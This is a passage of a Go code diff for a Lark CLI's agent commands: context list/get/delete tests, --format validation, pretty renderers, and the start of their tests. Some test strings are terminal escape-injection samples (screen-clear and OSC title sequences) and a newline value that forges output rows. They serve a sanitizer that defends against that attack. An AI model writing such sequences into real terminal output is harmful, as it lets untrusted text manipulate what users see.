UpdatedAt: "2026-07-05T12:00:00+08:00", TaskCount: 2, AwaitingInput: true,
|
||||
ActiveTask: &iagent.TaskSummary{
|
||||
TaskID: "chat_2", State: iagent.StateInputRequired,
|
||||
UpdatedAt: "2026-07-05T12:00:00+08:00", Summary: "请提供季度",
|
||||
},
|
||||
}, nil
|
||||
}})
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentContextGetRun(opts); err != nil {
|
||||
t.Fatalf("context get should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
|
||||
}
|
||||
data, _ := env.Data.(map[string]interface{})
|
||||
if data["context_id"] != "sess_1" {
|
||||
t.Errorf("data.context_id should be sess_1, got %v", data["context_id"])
|
||||
}
|
||||
if data["title"] != "销售分析" {
|
||||
t.Errorf("data.title should be echoed, got %v", data["title"])
|
||||
}
|
||||
if data["task_count"] != float64(2) {
|
||||
t.Errorf("data.task_count should be 2, got %v", data["task_count"])
|
||||
}
|
||||
if data["awaiting_input"] != true {
|
||||
t.Errorf("data.awaiting_input should be true, got %v", data["awaiting_input"])
|
||||
}
|
||||
if _, hasTasks := data["tasks"]; hasTasks {
|
||||
t.Errorf("context get should no longer embed a tasks[] array, got %v", data["tasks"])
|
||||
}
|
||||
active, ok := data["active_task"].(map[string]interface{})
|
||||
if !ok {
|
||||
t.Fatalf("data.active_task should be present, got %v", data["active_task"])
|
||||
}
|
||||
if active["task_id"] != "chat_2" {
|
||||
t.Errorf("active_task.task_id should be chat_2, got %v", active["task_id"])
|
||||
}
|
||||
if active["is_terminal"] != false {
|
||||
t.Errorf("active_task.is_terminal should be derived from State (input_required ⇒ false), got %v", active["is_terminal"])
|
||||
}
|
||||
if active["summary"] != "请提供季度" {
|
||||
t.Errorf("active_task.summary should carry the pending prompt, got %v", active["summary"])
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextGetError surfaces a provider GetContext failure.
|
||||
func TestContextGetError(t *testing.T) {
|
||||
opts, _ := contextTestOpts(t, "get")
|
||||
opts.CtxID = "sess_1"
|
||||
setScripted(t, scriptedHooks{getContext: func(string) (*iagent.ContextDetail, error) {
|
||||
return nil, errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
|
||||
}})
|
||||
if err := agentContextGetRun(opts); err == nil {
|
||||
t.Fatal("a GetContext error should propagate")
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextGetInvalidRef surfaces a malformed ref as a validation error.
|
||||
func TestContextGetInvalidRef(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
err := agentContextGetRun(&contextOptions{Ref: "no-colon", CtxID: "c1", Cmd: contextCmdCtx(t, "get"), As: "bot", Factory: f})
|
||||
if err == nil {
|
||||
t.Fatal("malformed ref should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextListWithJq pins the --jq output branch for list: the filtered
|
||||
// value (not the full envelope) is what reaches stdout.
|
||||
func TestContextListWithJq(t *testing.T) {
|
||||
opts, _ := contextTestOpts(t, "list")
|
||||
opts.Cmd.Flags().String("jq", ".data.contexts | length", "")
|
||||
setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
|
||||
return []iagent.ContextSummary{{ContextID: "sess_1"}}, nil
|
||||
}})
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
if err := agentContextListRun(opts); err != nil {
|
||||
t.Fatalf("context list --jq should not error: %v", err)
|
||||
}
|
||||
got := strings.TrimSpace(string(out.Bytes()))
|
||||
if got != "1" {
|
||||
t.Errorf("--jq .data.contexts | length should output 1, got %q", got)
|
||||
}
|
||||
if strings.Contains(got, `"ok"`) {
|
||||
t.Errorf("--jq output should be the filtered value, not the full envelope, got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextListEmptyEmitsArray pins the array convention: an empty context
|
||||
// list serializes as [] (never null), matching Card.Parameters.
|
||||
func TestContextListEmptyEmitsArray(t *testing.T) {
|
||||
opts, _ := contextTestOpts(t, "list")
|
||||
setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
|
||||
return nil, nil
|
||||
}})
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
if err := agentContextListRun(opts); err != nil {
|
||||
t.Fatalf("context list should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
|
||||
}
|
||||
data, _ := env.Data.(map[string]interface{})
|
||||
v, present := data["contexts"]
|
||||
if !present {
|
||||
t.Fatal("data.contexts key should be present")
|
||||
}
|
||||
if _, ok := v.([]interface{}); !ok {
|
||||
t.Errorf("empty context list should emit a JSON array (not null), got %T: %v", v, v)
|
||||
}
|
||||
if env.Meta == nil || env.Meta.Count != 0 {
|
||||
t.Errorf("meta.count should be 0, got %+v", env.Meta)
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextListPretty exercises the --format pretty human-view branch for
|
||||
// list: header TSV rows (not a JSON envelope), with the agent-controlled Title
|
||||
// stripped of ANSI escapes.
|
||||
func TestContextListPretty(t *testing.T) {
|
||||
opts, _ := contextTestOpts(t, "list")
|
||||
opts.Format = "pretty"
|
||||
setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
|
||||
return []iagent.ContextSummary{
|
||||
{ContextID: "sess_1", Title: "\x1b[2J销售分析", CreatedAt: "2026-07-05T10:01:11+08:00"},
|
||||
}, nil
|
||||
}})
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
if err := agentContextListRun(opts); err != nil {
|
||||
t.Fatalf("context list --format pretty should not error: %v", err)
|
||||
}
|
||||
s := string(out.Bytes())
|
||||
if !strings.HasPrefix(s, "CONTEXT_ID\tCREATED_AT\tUPDATED_AT\tTITLE\tTASK_COUNT\tAWAITING_INPUT\n") {
|
||||
t.Errorf("pretty output should start with a header row, got %q", s)
|
||||
}
|
||||
if !strings.Contains(s, "sess_1") || !strings.Contains(s, "销售分析") {
|
||||
t.Errorf("pretty output should contain context_id and title, got %q", s)
|
||||
}
|
||||
if strings.Contains(s, "\x1b") {
|
||||
t.Errorf("ANSI sequences in Title must be stripped: %q", s)
|
||||
}
|
||||
if strings.Contains(s, `"ok"`) {
|
||||
t.Errorf("pretty output should be a human view, not a JSON envelope, got %q", s)
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextGetWithJq pins the added --jq flag on context get: the envelope is
|
||||
// filtered through the jq expression.
|
||||
func TestContextGetWithJq(t *testing.T) {
|
||||
opts, _ := contextTestOpts(t, "get")
|
||||
opts.CtxID = "sess_1"
|
||||
opts.Cmd.Flags().String("jq", "", "")
|
||||
if err := opts.Cmd.Flags().Set("jq", ".data.context_id"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagent.ContextDetail, error) {
|
||||
return &iagent.ContextDetail{ContextID: ctxID}, nil
|
||||
}})
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
if err := agentContextGetRun(opts); err != nil {
|
||||
t.Fatalf("context get --jq should not error: %v", err)
|
||||
}
|
||||
got := strings.TrimSpace(string(out.Bytes()))
|
||||
if !strings.Contains(got, "sess_1") || strings.Contains(got, `"ok"`) {
|
||||
t.Errorf("--jq .data.context_id should output only the filtered result, got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextGetPretty pins the --format pretty branch on context get: key:
|
||||
// value lines with the task_count / awaiting_input rollup + a one-line
|
||||
// active_task digest, title ANSI-stripped, and no full tasks[] list.
|
||||
func TestContextGetPretty(t *testing.T) {
|
||||
opts, _ := contextTestOpts(t, "get")
|
||||
opts.CtxID = "sess_1"
|
||||
opts.Format = "pretty"
|
||||
setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagent.ContextDetail, error) {
|
||||
return &iagent.ContextDetail{
|
||||
ContextID: ctxID, Title: "\x1b[31m销售分析\x1b[0m",
|
||||
TaskCount: 1, AwaitingInput: false,
|
||||
ActiveTask: &iagent.TaskSummary{
|
||||
TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true, Summary: "分析完成",
|
||||
},
|
||||
}, nil
|
||||
}})
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
if err := agentContextGetRun(opts); err != nil {
|
||||
t.Fatalf("context get --format pretty should not error: %v", err)
|
||||
}
|
||||
s := string(out.Bytes())
|
||||
for _, want := range []string{"context_id: sess_1", "title: 销售分析", "task_count: 1", "active_task: completed"} {
|
||||
if !strings.Contains(s, want) {
|
||||
t.Errorf("pretty output should contain %q, got %q", want, s)
|
||||
}
|
||||
}
|
||||
if strings.Contains(s, "\x1b") {
|
||||
t.Errorf("ANSI sequences in title must be stripped: %q", s)
|
||||
}
|
||||
if strings.Contains(s, "tasks:") {
|
||||
t.Errorf("context get pretty should no longer render a tasks[] list, got %q", s)
|
||||
}
|
||||
}
|
||||
|
||||
// findSub returns the direct subcommand of cmd whose Name() == name, or nil.
|
||||
func findSub(cmd *cobra.Command, name string) *cobra.Command {
|
||||
for _, c := range cmd.Commands() {
|
||||
if c.Name() == name {
|
||||
return c
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// TestNewCmdAgentContext_GroupHasSubcommands pins the group is a pure group (no
|
||||
// RunE) with list/get/delete leaves.
|
||||
func TestNewCmdAgentContext_GroupHasSubcommands(t *testing.T) {
|
||||
cmd := NewCmdAgentContext(nil)
|
||||
if cmd.RunE != nil || cmd.Run != nil {
|
||||
t.Error("agent context group should not have RunE")
|
||||
}
|
||||
want := []string{"list", "get", "delete"}
|
||||
for _, name := range want {
|
||||
if findSub(cmd, name) == nil {
|
||||
t.Errorf("missing subcommand context %s", name)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestNewCmdAgentContextList_ReadRisk pins list = read risk, ExactArgs(1), and
|
||||
// the default flip: --format defaults to json.
|
||||
func TestNewCmdAgentContextList_ReadRisk(t *testing.T) {
|
||||
cmd := NewCmdAgentContextList(nil)
|
||||
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
|
||||
t.Errorf("context list should be marked read risk, got level=%q ok=%v", level, ok)
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{}); err == nil {
|
||||
t.Error("context list missing ref should report an argument error (ExactArgs 1)")
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{"example:x"}); err != nil {
|
||||
t.Errorf("context list with a single ref should be valid: %v", err)
|
||||
}
|
||||
fl := cmd.Flags().Lookup("format")
|
||||
if fl == nil || fl.DefValue != "json" {
|
||||
t.Errorf("context list --format default should flip to json, got %+v", fl)
|
||||
}
|
||||
}
|
||||
|
||||
// TestNewCmdAgentContextGet_ReadRisk pins get = read risk, ExactArgs(2), and
|
||||
// the added --format / --jq flags.
|
||||
func TestNewCmdAgentContextGet_ReadRisk(t *testing.T) {
|
||||
cmd := NewCmdAgentContextGet(nil)
|
||||
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
|
||||
t.Errorf("context get should be marked read risk, got level=%q ok=%v", level, ok)
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{"example:x"}); err == nil {
|
||||
t.Error("context get missing ctx-id should report an argument error (ExactArgs 2)")
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{"example:x", "c1"}); err != nil {
|
||||
t.Errorf("context get ref+ctx-id should be valid: %v", err)
|
||||
}
|
||||
for _, name := range []string{"format", "jq"} {
|
||||
if cmd.Flags().Lookup(name) == nil {
|
||||
t.Errorf("context get should have a --%s flag", name)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestNewCmdAgentContextDelete_HighRiskWrite pins delete = high-risk-write risk,
|
||||
// ExactArgs(2), a --yes flag, and the added --format / --jq flags.
|
||||
func TestNewCmdAgentContextDelete_HighRiskWrite(t *testing.T) {
|
||||
cmd := NewCmdAgentContextDelete(nil)
|
||||
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskHighRiskWrite {
|
||||
t.Errorf("context delete should be marked high-risk-write risk, got level=%q ok=%v", level, ok)
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{"example:x"}); err == nil {
|
||||
t.Error("context delete missing ctx-id should report an argument error (ExactArgs 2)")
|
||||
}
|
||||
if cmd.Flags().Lookup("yes") == nil {
|
||||
t.Error("context delete should have a --yes flag")
|
||||
}
|
||||
for _, name := range []string{"format", "jq"} {
|
||||
if cmd.Flags().Lookup(name) == nil {
|
||||
t.Errorf("context delete should have a --%s flag", name)
|
||||
}
|
||||
}
|
||||
}
|
||||
200
cmd/agent/format.go
Normal file
200
cmd/agent/format.go
Normal file
@@ -0,0 +1,200 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
// This file holds the --format surface shared by every agent leaf: value
|
||||
// validation, the pretty renderers (task key:value view, list
|
||||
// header-TSV views) with ANSI stripping for agent-controlled text, and the
|
||||
// arg-count validators that wrap cobra's bare "accepts N arg(s)" into a typed
|
||||
// validation error carrying a 用法 hint.
|
||||
package agent
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"strings"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/validate"
|
||||
)
|
||||
|
||||
// formatFlagHelp is the uniform --format help text across every agent leaf
|
||||
// (json is the tree-wide default, pretty the human opt-in).
|
||||
const formatFlagHelp = "output format: json (default) | pretty"
|
||||
|
||||
// validateFormat rejects any --format outside json|pretty as a
|
||||
// validation/invalid_argument error (exit 2). The empty string is accepted for
|
||||
// options structs built directly in tests; the registered flag default is
|
||||
// "json" so a CLI invocation never passes "".
|
||||
func validateFormat(format string) error {
|
||||
switch format {
|
||||
case "", "json", "pretty":
|
||||
return nil
|
||||
}
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"不支持的 --format 值 %q", format).
|
||||
WithParam("--format").
|
||||
WithHint("合法值: json | pretty")
|
||||
}
|
||||
|
||||
// stripANSI sanitizes agent-controlled text before it is written raw to a
|
||||
// terminal by a pretty renderer, preventing terminal escape-sequence injection.
|
||||
// It delegates to validate.SanitizeForTerminal, which is a superset of the
|
||||
// mandated CSI regex:
|
||||
// it also drops OSC sequences, bare ESC / C0 control bytes and dangerous
|
||||
// Unicode. JSON output paths must NOT use this — programmatic consumers get
|
||||
// the raw data.
|
||||
func stripANSI(s string) string {
|
||||
return validate.SanitizeForTerminal(s)
|
||||
}
|
||||
|
||||
// kvValue sanitizes an agent-controlled value for a single-line "key: value"
|
||||
// pretty row: ANSI-stripped, then \n/\t collapsed to single spaces —
|
||||
// SanitizeForTerminal deliberately preserves those, so without this a value
|
||||
// like "done\nstate: completed" would forge an adjacent field row. TSV
|
||||
// renderers keep plain stripANSI under their documented no-escape exemption.
|
||||
func kvValue(s string) string {
|
||||
s = stripANSI(s)
|
||||
s = strings.ReplaceAll(s, "\n", " ")
|
||||
return strings.ReplaceAll(s, "\t", " ")
|
||||
}
|
||||
|
||||
// truncateRunes caps s at max runes, appending an ellipsis when truncated.
|
||||
func truncateRunes(s string, max int) string {
|
||||
r := []rune(s)
|
||||
if len(r) <= max {
|
||||
return s
|
||||
}
|
||||
return string(r[:max]) + "…"
|
||||
}
|
||||
|
||||
// firstTextOf returns the first text Part carried by the task's messages
|
||||
// (the first text message), or "".
|
||||
func firstTextOf(task *iagent.AgentTask) string {
|
||||
for _, m := range task.Messages {
|
||||
for _, p := range m.Parts {
|
||||
if p.Type == "text" && p.Text != "" {
|
||||
return p.Text
|
||||
}
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// printTaskPretty renders the task-class pretty view: line-per-field
|
||||
// key: value with state / task_id / context_id / first text message truncated
|
||||
// to 120 runes / artifacts count. Every agent-controlled string goes through
|
||||
// kvValue (ANSI strip + newline/tab neutralization) so it can neither inject
|
||||
// terminal sequences nor forge an adjacent field row.
|
||||
func printTaskPretty(w io.Writer, task *iagent.AgentTask) {
|
||||
if task == nil {
|
||||
fmt.Fprintln(w, "(no task)")
|
||||
return
|
||||
}
|
||||
fmt.Fprintf(w, "state: %s\n", kvValue(string(task.State)))
|
||||
fmt.Fprintf(w, "task_id: %s\n", kvValue(task.TaskID))
|
||||
if task.ContextID != "" {
|
||||
fmt.Fprintf(w, "context_id: %s\n", kvValue(task.ContextID))
|
||||
}
|
||||
if text := firstTextOf(task); text != "" {
|
||||
fmt.Fprintf(w, "text: %s\n", truncateRunes(kvValue(text), 120))
|
||||
}
|
||||
fmt.Fprintf(w, "artifacts: %d\n", len(task.Artifacts))
|
||||
}
|
||||
|
||||
// TSV renderers below intentionally do not escape tab/newline in cell values:
|
||||
// a value containing them breaks the column layout. The agent's primary
|
||||
// consumption surface is json; pretty is for human inspection only, so leaving
|
||||
// them unescaped is acceptable.
|
||||
|
||||
// printTaskSummariesTSV renders the list-class pretty view for tasks: a header
|
||||
// row naming the json fields, then one row per task. Summary is agent-controlled
|
||||
// text, so it is ANSI-stripped AND newline/tab-flattened via kvValue — an
|
||||
// unflattened tab/newline would otherwise break the column layout; the ids keep
|
||||
// plain stripANSI under the TSV no-escape exemption.
|
||||
func printTaskSummariesTSV(w io.Writer, tasks []iagent.TaskSummary) {
|
||||
fmt.Fprintf(w, "TASK_ID\tCONTEXT_ID\tSTATE\tIS_TERMINAL\tUPDATED_AT\tSUMMARY\n")
|
||||
for _, t := range tasks {
|
||||
fmt.Fprintf(w, "%s\t%s\t%s\t%t\t%s\t%s\n",
|
||||
stripANSI(t.TaskID), stripANSI(t.ContextID), stripANSI(string(t.State)), t.IsTerminal, stripANSI(t.UpdatedAt), kvValue(t.Summary))
|
||||
}
|
||||
}
|
||||
|
||||
// printContextsTSV renders the list-class pretty view for contexts. The Title is
|
||||
// agent-controlled and ANSI-stripped; TaskCount / AwaitingInput are the
|
||||
// conversation-layer rollup used to spot which session needs attention.
|
||||
func printContextsTSV(w io.Writer, contexts []iagent.ContextSummary) {
|
||||
fmt.Fprintf(w, "CONTEXT_ID\tCREATED_AT\tUPDATED_AT\tTITLE\tTASK_COUNT\tAWAITING_INPUT\n")
|
||||
for _, c := range contexts {
|
||||
fmt.Fprintf(w, "%s\t%s\t%s\t%s\t%d\t%t\n",
|
||||
stripANSI(c.ContextID), stripANSI(c.CreatedAt), stripANSI(c.UpdatedAt), stripANSI(c.Title), c.TaskCount, c.AwaitingInput)
|
||||
}
|
||||
}
|
||||
|
||||
// printContextDetailPretty renders `context get --format pretty` as a
|
||||
// conversation overview: metadata + the task_count / awaiting_input rollup, and
|
||||
// — when present — a one-line digest of the active task
|
||||
// (state · updated_at · summary). It deliberately does NOT expand the full task
|
||||
// list (that is `agent task list --context-id`). Agent-controlled strings (Title
|
||||
// and the active-task Summary) go through kvValue so they cannot forge adjacent
|
||||
// field rows.
|
||||
func printContextDetailPretty(w io.Writer, detail *iagent.ContextDetail) {
|
||||
if detail == nil {
|
||||
fmt.Fprintln(w, "(no context)")
|
||||
return
|
||||
}
|
||||
fmt.Fprintf(w, "context_id: %s\n", kvValue(detail.ContextID))
|
||||
if detail.CreatedAt != "" {
|
||||
fmt.Fprintf(w, "created_at: %s\n", kvValue(detail.CreatedAt))
|
||||
}
|
||||
if detail.UpdatedAt != "" {
|
||||
fmt.Fprintf(w, "updated_at: %s\n", kvValue(detail.UpdatedAt))
|
||||
}
|
||||
if detail.Title != "" {
|
||||
fmt.Fprintf(w, "title: %s\n", kvValue(detail.Title))
|
||||
}
|
||||
fmt.Fprintf(w, "task_count: %d\n", detail.TaskCount)
|
||||
fmt.Fprintf(w, "awaiting_input: %t\n", detail.AwaitingInput)
|
||||
if at := detail.ActiveTask; at != nil {
|
||||
fmt.Fprintf(w, "active_task: %s · %s · %s\n", kvValue(string(at.State)), kvValue(at.UpdatedAt), kvValue(at.Summary))
|
||||
}
|
||||
}
|
||||
|
||||
// usageHintOf builds the "用法: <command path> <positional shape>" hint from
|
||||
// the executing command's Use line, so the hint never drifts from the
|
||||
// registered Use string.
|
||||
func usageHintOf(cmd *cobra.Command) string {
|
||||
if _, shape, ok := strings.Cut(cmd.Use, " "); ok {
|
||||
return fmt.Sprintf("用法: %s %s", cmd.CommandPath(), shape)
|
||||
}
|
||||
return "用法: " + cmd.CommandPath()
|
||||
}
|
||||
|
||||
// exactArgsWithUsage is cobra.ExactArgs wrapped into a typed validation error
|
||||
// (exit 2) whose hint carries the full usage string — cobra's bare English
|
||||
// "accepts 2 arg(s), received 1" never says WHAT is missing.
|
||||
func exactArgsWithUsage(n int) cobra.PositionalArgs {
|
||||
return func(cmd *cobra.Command, args []string) error {
|
||||
if len(args) != n {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"需要 %d 个位置参数,收到 %d 个", n, len(args)).
|
||||
WithHint("%s", usageHintOf(cmd))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// maximumArgsWithUsage is the cobra.MaximumNArgs counterpart of
|
||||
// exactArgsWithUsage, for leaves with an optional positional (agent list).
|
||||
func maximumArgsWithUsage(n int) cobra.PositionalArgs {
|
||||
return func(cmd *cobra.Command, args []string) error {
|
||||
if len(args) > n {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"最多接受 %d 个位置参数,收到 %d 个", n, len(args)).
|
||||
WithHint("%s", usageHintOf(cmd))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
}
|
||||
381
cmd/agent/format_test.go
Normal file
381
cmd/agent/format_test.go
Normal file
@@ -0,0 +1,381 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// TestValidateFormat_Valid pins that json/pretty (and the zero value, which
|
||||
// only occurs when options structs are built directly in tests) pass.
|
||||
func TestValidateFormat_Valid(t *testing.T) {
|
||||
for _, f := range []string{"", "json", "pretty"} {
|
||||
if err := validateFormat(f); err != nil {
|
||||
t.Errorf("format %q should be valid: %v", f, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestValidateFormat_Invalid pins that a --format outside json|pretty is a
|
||||
// validation/invalid_argument error (exit 2) whose hint lists the legal values
|
||||
// and whose param names the flag with the -- prefix.
|
||||
func TestValidateFormat_Invalid(t *testing.T) {
|
||||
err := validateFormat("yaml")
|
||||
if err == nil {
|
||||
t.Fatal("--format yaml should error (currently silently treated as json)")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T", err)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Fatalf("subtype should be invalid_argument, got %+v", p)
|
||||
}
|
||||
if output.ExitCodeOf(err) != output.ExitValidation {
|
||||
t.Fatalf("exit should be 2, got %d", output.ExitCodeOf(err))
|
||||
}
|
||||
if !strings.Contains(p.Hint, "json | pretty") {
|
||||
t.Errorf("hint should list the legal values json | pretty, got %q", p.Hint)
|
||||
}
|
||||
var verr *errs.ValidationError
|
||||
if !errors.As(err, &verr) || verr.Param != "--format" {
|
||||
t.Errorf("param should be --format, got %+v", verr)
|
||||
}
|
||||
}
|
||||
|
||||
// agentRootTree builds `lark-cli agent ...` as production wires it (root Use
|
||||
// lark-cli), with a nil Factory: format validation must fire at the RunE
|
||||
// entry, before any Factory access.
|
||||
func agentRootTree() *cobra.Command {
|
||||
root := &cobra.Command{Use: "lark-cli", SilenceUsage: true, SilenceErrors: true}
|
||||
root.AddCommand(NewCmdAgent(nil))
|
||||
return root
|
||||
}
|
||||
|
||||
// TestFormatYamlRejectedAcrossLeaves pins that EVERY leaf of the agent tree
|
||||
// consumes validateFormat: `--format yaml` is exit 2 with the json|pretty
|
||||
// hint, uniformly, before any provider/Factory is touched.
|
||||
func TestFormatYamlRejectedAcrossLeaves(t *testing.T) {
|
||||
leaves := [][]string{
|
||||
{"agent", "list", "--format", "yaml"},
|
||||
{"agent", "card", "example:x", "--format", "yaml"},
|
||||
{"agent", "send", "example:x", "--text", "hi", "--format", "yaml"},
|
||||
{"agent", "task", "get", "example:x", "t1", "--format", "yaml"},
|
||||
{"agent", "task", "list", "example:x", "--format", "yaml"},
|
||||
{"agent", "task", "cancel", "example:x", "t1", "--format", "yaml"},
|
||||
{"agent", "context", "list", "example:x", "--format", "yaml"},
|
||||
{"agent", "context", "get", "example:x", "c1", "--format", "yaml"},
|
||||
{"agent", "context", "delete", "example:x", "c1", "--yes", "--format", "yaml"},
|
||||
}
|
||||
for _, argv := range leaves {
|
||||
t.Run(strings.Join(argv[:len(argv)-2], " "), func(t *testing.T) {
|
||||
root := agentRootTree()
|
||||
root.SetOut(&bytes.Buffer{})
|
||||
root.SetErr(&bytes.Buffer{})
|
||||
root.SetArgs(argv)
|
||||
err := root.Execute()
|
||||
if err == nil {
|
||||
t.Fatalf("%v should report a --format validation error", argv)
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T: %v", err, err)
|
||||
}
|
||||
if output.ExitCodeOf(err) != output.ExitValidation {
|
||||
t.Fatalf("exit should be 2, got %d", output.ExitCodeOf(err))
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || !strings.Contains(p.Hint, "json | pretty") {
|
||||
t.Errorf("hint should contain json | pretty, got %+v", p)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestFormatHelpTextUniform pins the mandated uniform help text
|
||||
// "output format: json (default) | pretty" across every leaf that has --format.
|
||||
func TestFormatHelpTextUniform(t *testing.T) {
|
||||
cmds := map[string]*cobra.Command{
|
||||
"list": NewCmdAgentList(nil),
|
||||
"card": NewCmdAgentCard(nil),
|
||||
"send": NewCmdAgentSend(nil, nil),
|
||||
"task get": NewCmdAgentTaskGet(nil),
|
||||
"task list": NewCmdAgentTaskList(nil),
|
||||
"task cancel": NewCmdAgentTaskCancel(nil),
|
||||
"context list": NewCmdAgentContextList(nil),
|
||||
"context get": NewCmdAgentContextGet(nil),
|
||||
"context delete": NewCmdAgentContextDelete(nil),
|
||||
}
|
||||
for name, cmd := range cmds {
|
||||
fl := cmd.Flags().Lookup("format")
|
||||
if fl == nil {
|
||||
t.Errorf("%s should have a --format flag", name)
|
||||
continue
|
||||
}
|
||||
if fl.DefValue != "json" {
|
||||
t.Errorf("%s --format default should be json, got %q", name, fl.DefValue)
|
||||
}
|
||||
if fl.Usage != "output format: json (default) | pretty" {
|
||||
t.Errorf("%s --format help should be uniform, got %q", name, fl.Usage)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestStripANSI pins that CSI sequences, OSC sequences and bare ESC bytes are
|
||||
// all removed before agent text reaches a terminal.
|
||||
func TestStripANSI(t *testing.T) {
|
||||
for _, tt := range []struct{ in, want string }{
|
||||
{"before\x1b[31mred\x1b[0mafter", "beforeredafter"},
|
||||
{"a\x1bb", "ab"}, // bare ESC
|
||||
{"t\x1b]0;evil\x07x", "tx"},
|
||||
{"clean 文本", "clean 文本"},
|
||||
} {
|
||||
if got := stripANSI(tt.in); got != tt.want {
|
||||
t.Errorf("stripANSI(%q) = %q, want %q", tt.in, got, tt.want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrintTaskPretty pins the task-class pretty spec: line-per-field
|
||||
// key: value with state / task_id / context_id / first text message truncated
|
||||
// to 120 runes / artifacts count — and the agent-controlled text stripped of
|
||||
// ANSI escapes.
|
||||
func TestPrintTaskPretty(t *testing.T) {
|
||||
long := strings.Repeat("字", 130)
|
||||
task := &iagent.AgentTask{
|
||||
TaskID: "chat_1",
|
||||
ContextID: "sess_1",
|
||||
State: iagent.StateCompleted,
|
||||
Messages: []iagent.Message{{
|
||||
Role: "agent",
|
||||
Parts: []iagent.Part{{Type: "text", Text: "\x1b[31m" + long + "\x1b[0m"}},
|
||||
}},
|
||||
Artifacts: []iagent.Artifact{{ID: "a1"}, {ID: "a2"}},
|
||||
}
|
||||
out := &bytes.Buffer{}
|
||||
printTaskPretty(out, task)
|
||||
text := out.String()
|
||||
|
||||
for _, want := range []string{"state: completed", "task_id: chat_1", "context_id: sess_1", "artifacts: 2"} {
|
||||
if !strings.Contains(text, want) {
|
||||
t.Errorf("pretty output should contain %q, got:\n%s", want, text)
|
||||
}
|
||||
}
|
||||
if strings.Contains(text, "\x1b") {
|
||||
t.Errorf("ANSI sequences in agent body text must be stripped: %q", text)
|
||||
}
|
||||
if strings.Contains(text, long) {
|
||||
